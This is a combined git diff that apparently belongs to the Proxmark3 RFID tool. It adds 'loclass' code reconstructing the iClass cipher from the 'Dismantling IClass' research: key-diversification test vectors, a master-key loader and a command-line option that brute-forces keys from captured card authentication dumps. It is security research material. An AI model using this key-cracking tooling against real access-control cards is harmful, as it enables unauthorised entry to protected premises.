++      {{0x76,0xFD,0x0B,0xD0,0x41,0xD2,0x82,0x5D},{0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x09}},
++      {{0xC6,0x3A,0x1C,0x25,0x63,0x5A,0x2F,0x0E},{0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x0B}},
++      {{0xD9,0x0E,0xD7,0x30,0xE2,0xAD,0xA9,0x87},{0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x0F}},
++      {{0x6B,0x81,0xC6,0xD1,0x05,0x09,0x87,0x1E},{0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x17}},
++      {{0xB4,0xA7,0x1E,0x02,0x54,0x37,0x43,0x35},{0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x27}},
++      {{0x45,0x14,0x7C,0x7F,0xE0,0xDE,0x09,0x65},{0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0x47}},
++      {{0x78,0xB0,0xF5,0x20,0x8B,0x7D,0xF3,0xDD},{0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00},{0xFE,0x04,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x88,0xB3,0x3C,0xE1,0xF7,0x87,0x42,0xA1},{0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0xFC,0x06,0x08,0x01,0x03,0x05,0x07}},
++      {{0x11,0x2F,0xB2,0xF7,0xE2,0xB2,0x4F,0x6E},{0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0xFA,0x08,0x01,0x03,0x05,0x07}},
++      {{0x25,0x56,0x4E,0xC6,0xEB,0x2D,0x74,0x5B},{0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0xF8,0x01,0x03,0x05,0x07}},
++      {{0x7E,0x98,0x37,0xF9,0x80,0x8F,0x09,0x82},{0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0xFF,0x03,0x05,0x07}},
++      {{0xF9,0xB5,0x62,0x3B,0xD8,0x7B,0x3C,0x3F},{0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0xFD,0x05,0x07}},
++      {{0x29,0xC5,0x2B,0xFA,0xD1,0xFC,0x5C,0xC7},{0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0xFB,0x07}},
++      {{0xC1,0xA3,0x09,0x71,0xBD,0x8E,0xAF,0x2F},{0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x06,0x08,0x01,0x03,0x05,0xF9}},
++      {{0xB6,0xDD,0xD1,0xAD,0xAA,0x15,0x6F,0x29},{0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x03,0x05,0x02,0x07,0x04,0x06,0x08}},
++      {{0x65,0x34,0x03,0x19,0x17,0xB3,0xA3,0x96},{0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x01,0x06,0x08,0x03,0x05,0x07}},
++      {{0xF9,0x38,0x43,0x56,0x52,0xE5,0xB1,0xA9},{0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x04,0x06,0x08,0x03,0x05,0x07}},
++
++      {{0xA4,0xA0,0xAF,0xDA,0x48,0xB0,0xA1,0x10},{0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x04,0x06,0x03,0x08,0x05,0x07}},
++      {{0x55,0x15,0x8A,0x0D,0x48,0x29,0x01,0xD8},{0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x02,0x04,0x01,0x06,0x03,0x05,0x08,0x07}},
++      {{0xC4,0x81,0x96,0x7D,0xA3,0xB7,0x73,0x50},{0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x03,0x05,0x04,0x06,0x08,0x07}},
++      {{0x36,0x73,0xDF,0xC1,0x1B,0x98,0xA8,0x1D},{0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x03,0x04,0x05,0x06,0x08,0x07}},
++      {{0xCE,0xE0,0xB3,0x1B,0x41,0xEB,0x15,0x12},{0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00},{0x01,0x02,0x03,0x04,0x06,0x05,0x08,0x07}},
++      {{0},{0},{0}}
++};
++
++
++int testKeyDiversificationWithMasterkeyTestcases()
+ {
 -              printf("%02x",*(arr+i));
++
++      int error = 0;
++      int i;
++
++      uint8_t empty[8]={0};
++      prnlog("[+} Testing encryption/decryption");
++
++      for (i = 0;  memcmp(testcases+i,empty,8) ; i++) {
++              error += testDES(testcases[i],ctx_enc, ctx_dec);
++      }
++      if(error)
+       {
 -      printf("\n");
++              prnlog("[+] %d errors occurred (%d testcases)", error, i);
++      }else
++      {
++              prnlog("[+] Hashing seems to work (%d testcases)", i);
+       }
++      return error;
++}
++
++
++void print64bits(char*name, uint64_t val)
++{
++      printf("%s%08x%08x\n",name,(uint32_t) (val >> 32) ,(uint32_t) (val & 0xFFFFFFFF));
++}
++
++uint64_t testCryptedCSN(uint64_t crypted_csn, uint64_t expected)
++{
++      int retval = 0;
++      uint8_t result[8] = {0};
++      if(debug_print) prnlog("debug_print %d", debug_print);
++      if(debug_print) print64bits("    {csn}      ", crypted_csn );
++
++      uint64_t crypted_csn_swapped = swapZvalues(crypted_csn);
++
++      if(debug_print) print64bits("    {csn-revz} ", crypted_csn_swapped);
++
++      hash0(crypted_csn, result);
++    uint64_t resultbyte = x_bytes_to_num(result,8 );
++      if(debug_print) print64bits("    hash0      " , resultbyte );
++
++      if(resultbyte != expected )
++      {
++
++              if(debug_print) {
++                      prnlog("\n[+] FAIL!");
++                      print64bits("    expected       " ,  expected );
++              }
++              retval = 1;
++
++      }else
++      {
++              if(debug_print) prnlog(" [OK]");
++      }
++      return retval;
++}
++
++int testDES2(uint64_t csn, uint64_t expected)
++{
++      uint8_t result[8] = {0};
++      uint8_t input[8] = {0};
++
++      print64bits("   csn ", csn);
++    x_num_to_bytes(csn, 8,input);
++
++      des_crypt_ecb(&ctx_enc,input, result);
++
++    uint64_t crypt_csn = x_bytes_to_num(result, 8);
++      print64bits("   {csn}    ", crypt_csn );
++      print64bits("   expected ", expected );
++
++      if( expected == crypt_csn )
++      {
++              prnlog("[+] OK");
++              return 0;
++      }else
++      {
++              return 1;
++      }
++}
++
++/**
++ * These testcases come from http://www.proxmark.org/forum/viewtopic.php?pid=10977#p10977
++ * @brief doTestsWithKnownInputs
++ * @return
++ */
++int doTestsWithKnownInputs()
++{
++
++      // KSel from http://www.proxmark.org/forum/viewtopic.php?pid=10977#p10977
++      int errors = 0;
++      prnlog("[+] Testing DES encryption");
++//    uint8_t key[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
++      prnlog("[+] Testing foo");
++      uint8_t key[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
++
++      des_setkey_enc( &ctx_enc, key);
++      testDES2(0xbbbbaaaabbbbeeee,0xd6ad3ca619659e6b);
++
++      prnlog("[+] Testing hashing algorithm");
++
++      errors += testCryptedCSN(0x0102030405060708,0x0bdd6512073c460a);
++      errors += testCryptedCSN(0x1020304050607080,0x0208211405f3381f);
++      errors += testCryptedCSN(0x1122334455667788,0x2bee256d40ac1f3a);
++      errors += testCryptedCSN(0xabcdabcdabcdabcd,0xa91c9ec66f7da592);
++      errors += testCryptedCSN(0xbcdabcdabcdabcda,0x79ca5796a474e19b);
++      errors += testCryptedCSN(0xcdabcdabcdabcdab,0xa8901b9f7ec76da4);
++      errors += testCryptedCSN(0xdabcdabcdabcdabc,0x357aa8e0979a5b8d);
++      errors += testCryptedCSN(0x21ba6565071f9299,0x34e80f88d5cf39ea);
++      errors += testCryptedCSN(0x14e2adfc5bb7e134,0x6ac90c6508bd9ea3);
++
++      if(errors)
++      {
++              prnlog("[+] %d errors occurred (9 testcases)", errors);
++      }else
++      {
++              prnlog("[+] Hashing seems to work (9 testcases)" );
++      }
++      return errors;
++}
++
++int readKeyFile(uint8_t key[8])
++{
++
++      FILE *f;
++
++      f = fopen("iclass_key.bin", "rb");
++      if (f)
++      {
++              if(fread(key, sizeof(key), 1, f) == 1) return 0;
++      }
++      return 1;
++
++}
++
++
++int doKeyTests(uint8_t debuglevel)
++{
++      debug_print = debuglevel;
++
++      prnlog("[+] Checking if the master key is present (iclass_key.bin)...");
++      uint8_t key[8] = {0};
++      if(readKeyFile(key))
++      {
++              prnlog("[+] Master key not present, will not be able to do all testcases");
++      }else
++      {
++
++              //Test if it's the right key...
++              uint8_t i;
++              uint8_t j = 0;
++              for(i =0 ; i < sizeof(key) ; i++)
++                      j += key[i];
++
++              if(j != 185)
++              {
++                      prnlog("[+] A key was loaded, but it does not seem to be the correct one. Aborting these tests");
++              }else
++              {
++                      prnlog("[+] Key present");
++
++                      prnlog("[+] Checking key parity...");
++                      des_checkParity(key);
++                      des_setkey_enc( &ctx_enc, key);
++                      des_setkey_dec( &ctx_dec, key);
++                      // Test hashing functions
++                      prnlog("[+] The following tests require the correct 8-byte master key");
++                      testKeyDiversificationWithMasterkeyTestcases();
++              }
++      }
++      prnlog("[+] Testing key diversification with non-sensitive keys...");
++      doTestsWithKnownInputs();
++      return 0;
+ }
++
++/**
++
++void checkParity2(uint8_t* key)
++{
++
++      uint8_t stored_parity = key[7];
++      printf("Parity byte: 0x%02x\n", stored_parity);
++      int i;
++      int byte;
++      int fails =0;
++      BitstreamIn bits = {key, 56, 0};
++
++      bool parity = 0;
++
++      for(i =0 ; i  < 56; i++)
++      {
++
++              if ( i > 0 && i % 7 == 0)
++              {
++                      parity = !parity;
++                      bool pbit = stored_parity & (0x80 >> (byte));
++                      if(parity != pbit)
++                      {
++                              printf("parity2 fail byte %d, should be %d, was %d\n", (i / 7), parity, pbit);
++                              fails++;
++                      }
++                      parity =0 ;
++                      byte = i / 7;
++              }
++              parity = parity ^ headBit(&bits);
++      }
++      if(fails)
++      {
++              printf("parity2 fails: %d\n", fails);
++      }else
++      {
++              printf("Key syntax is with parity bits grouped in the last byte!\n");
++      }
++}
++void modifyKey_put_parity_last(uint8_t * key, uint8_t* output)
++{
++      uint8_t paritybits = 0;
++      bool parity =0;
++      BitstreamOut out = { output, 0,0};
++      unsigned int bbyte, bbit;
++      for(bbyte=0; bbyte <8 ; bbyte++ )
++      {
++              for(bbit =0 ; bbit< 7 ; bbit++)
++              {
++                      bool bit = *(key+bbyte) & (1 << (7-bbit));
++                      pushBit(&out,bit);
++                      parity ^= bit;
++              }
++              bool paritybit = *(key+bbyte) & 1;
++              paritybits |= paritybit << (7-bbyte);
++              parity = 0;
++
++      }
++      output[7] = paritybits;
++      printf("Parity byte: %02x\n", paritybits);
++}
++
++ * @brief Modifies a key with parity bits last, so that it is formed with parity
++ *            bits inside each byte
++ * @param key
++ * @param output
++
++void modifyKey_put_parity_allover(uint8_t * key, uint8_t* output)
++{
++      bool parity =0;
++      BitstreamOut out = { output, 0,0};
++      BitstreamIn in = {key, 0,0};
++      unsigned int bbyte, bbit;
++      for(bbit =0 ; bbit < 56 ; bbit++)
++      {
++
++              if( bbit > 0 && bbit % 7 == 0)
++              {
++                      pushBit(&out,!parity);
++                      parity = 0;
++              }
++              bool bit = headBit(&in);
++              pushBit(&out,bit );
++              parity ^= bit;
++
++      }
++      pushBit(&out, !parity);
++
++
++      if(     des_key_check_key_parity(output))
++      {
++              printf("modifyKey_put_parity_allover fail, DES key invalid parity!");
++      }
++
++}
++
++*/
++
++
diff --combined client/loclass/ikeys.h
index 0000000000000000000000000000000000000000,0b943d6be4241357c93750d283426508524e7105..1de46b62c50680b2ef1d7a6084e33282b6a18497
mode 000000,100644..100644
--- /dev/null
@@@ -1,0 -1,8 +1,32 @@@
 -int testKeyDiversification();
 -int doKeyTests();
 -void hash0(uint64_t c, uint8_t *k);
 -void pushbackSixBitByte(uint64_t *c, uint8_t z, int n);
 -uint8_t getSixBitByte(uint64_t c, int n);
+ #ifndef IKEYS_H
+ #define IKEYS_H
++
++
++/**
++ * @brief
++ *Definition 11. Let the function hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as
++ *    hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where
++ * z'[i] = (z[i] mod (63-i)) + i      i =  0...3
++ * z'[i+4] = (z[i+4] mod (64-i)) + i  i =  0...3
++ * ẑ = check(z');
++ * @param c
++ * @param k this is where the diversified key is put (should be 8 bytes)
++ * @return
++ */
++void hash0(uint64_t c, uint8_t k[8]);
++int doKeyTests(uint8_t debuglevel);
++/**
++ * @brief Performs Elite-class key diversification
++ * @param csn
++ * @param key
++ * @param div_key
++ */
++
++void diversifyKey(uint8_t csn[8], uint8_t key[8], uint8_t div_key[8]);
++/**
++ * @brief Permutes a key from standard NIST format to Iclass specific format
++ * @param key
++ * @param dest
++ */
++
+ #endif // IKEYS_H
diff --combined client/loclass/main.c
index 0000000000000000000000000000000000000000,0000000000000000000000000000000000000000..42019072f831714ca189be97fee500d775f8fecf
new file mode 100644 (file)
--- /dev/null
--- /dev/null
@@@ -1,0 -1,0 +1,96 @@@
++/*****************************************************************************
++ * This file is part of iClassCipher. It is a reconstructon of the cipher engine
++ * used in iClass, and RFID techology.
++ *
++ * The implementation is based on the work performed by
++ * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
++ * Milosch Meriac in the paper "Dismantling IClass".
++ *
++ * Copyright (C) 2014 Martin Holst Swende
++ *
++ * This is free software: you can redistribute it and/or modify
++ * it under the terms of the GNU General Public License version 2 as published
++ * by the Free Software Foundation.
++ *
++ * This file is distributed in the hope that it will be useful,
++ * but WITHOUT ANY WARRANTY; without even the implied warranty of
++ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ * GNU General Public License for more details.
++ *
++ * You should have received a copy of the GNU General Public License
++ * along with IClassCipher.  If not, see <http://www.gnu.org/licenses/>.
++ ****************************************************************************/
++
++#include <stdio.h>
++#include <cipherutils.h>
++#include <stdint.h>
++#include <stdbool.h>
++#include <string.h>
++#include <unistd.h>
++#include <ctype.h>
++#include "cipherutils.h"
++#include "cipher.h"
++#include "ikeys.h"
++#include "fileutils.h"
++#include "elite_crack.h"
++
++int unitTests()
++{
++      int errors = testCipherUtils();
++      errors += testMAC();
++      errors += doKeyTests(0);
++      errors += testElite();
++      return errors;
++}
++int showHelp()
++{
++      prnlog("Usage: iclazz [options]");
++      prnlog("Options:");
++      prnlog("-t                 Perform self-test");
++      prnlog("-h                 Show this help");
++      prnlog("-f <filename>      Bruteforce iclass dumpfile");
++      prnlog("                   An iclass dumpfile is assumed to consist of an arbitrary number of malicious CSNs, and their protocol responses");
++      prnlog("                   The the binary format of the file is expected to be as follows: ");
++      prnlog("                   <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC>");
++      prnlog("                   <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC>");
++      prnlog("                   <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC>");
++      prnlog("                  ... totalling N*24 bytes");
++      prnlog("                  Check iclass_dump.bin for an example");
++
++      return 0;
++}
++
++int main (int argc, char **argv)
++{
++      prnlog("IClass Cipher version 1.2, Copyright (C) 2014 Martin Holst Swende\n");
++      prnlog("Comes with ABSOLUTELY NO WARRANTY");
++      prnlog("This is free software, and you are welcome to use, abuse and repackage, please keep the credits\n");
++      char *fileName = NULL;
++      int c;
++      while ((c = getopt (argc, argv, "thf:")) != -1)
++        switch (c)
++              {
++              case 't':
++                return unitTests();
++              case 'h':
++                return showHelp();
++              case 'f':
++                fileName = optarg;
++                return bruteforceFileNoKeys(fileName);
++              case '?':
++                if (optopt == 'f')
++                      fprintf (stderr, "Option -%c requires an argument.\n", optopt);
++                else if (isprint (optopt))
++                      fprintf (stderr, "Unknown option `-%c'.\n", optopt);
++                else
++                      fprintf (stderr,
++                                       "Unknown option character `\\x%x'.\n",
++                                       optopt);
++                return 1;
++              //default:
++                //showHelp();
++              }
++      showHelp();
++      return 0;
++}
++
index 0000000000000000000000000000000000000000,0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
new file mode 100644 (file)
--- /dev/null
--- /dev/null
diff --combined include/usb_cmd.h
index 4b1fc2b688d7fac32d9f2f504d165060d4509539,00b9b586cacb90a6c53217ed8396215f2675b152..0c5d53ba9d0b07b4fc0ce9f5708aa66db21c84d9
@@@ -96,7 -96,6 +96,7 @@@ typedef struct 
  #define CMD_ISO_15693_COMMAND_DONE                                        0x0314
  #define CMD_ISO_15693_FIND_AFI                                            0x0315
  #define CMD_ISO_15693_DEBUG                                               0x0316
 +#define CMD_LF_SNOOP_RAW_ADC_SAMPLES                                      0x0317
  
  // For Hitag2 transponders
  #define CMD_SNOOP_HITAG                                                   0x0370
  #define CMD_SNOOP_ICLASS                                                  0x0392
  #define CMD_SIMULATE_TAG_ICLASS                                           0x0393
  #define CMD_READER_ICLASS                                                 0x0394
+ #define CMD_READER_ICLASS_REPLAY                                                                                0x0395
+ #define CMD_ICLASS_ISO14443A_GETPUBLIC                                                                          0x0396
+ #define CMD_ICLASS_ISO14443A_WRITE                                                                              0x0397
  
  // For measurements of the antenna tuning
  #define CMD_MEASURE_ANTENNA_TUNING                                        0x0400
Impressum, Datenschutz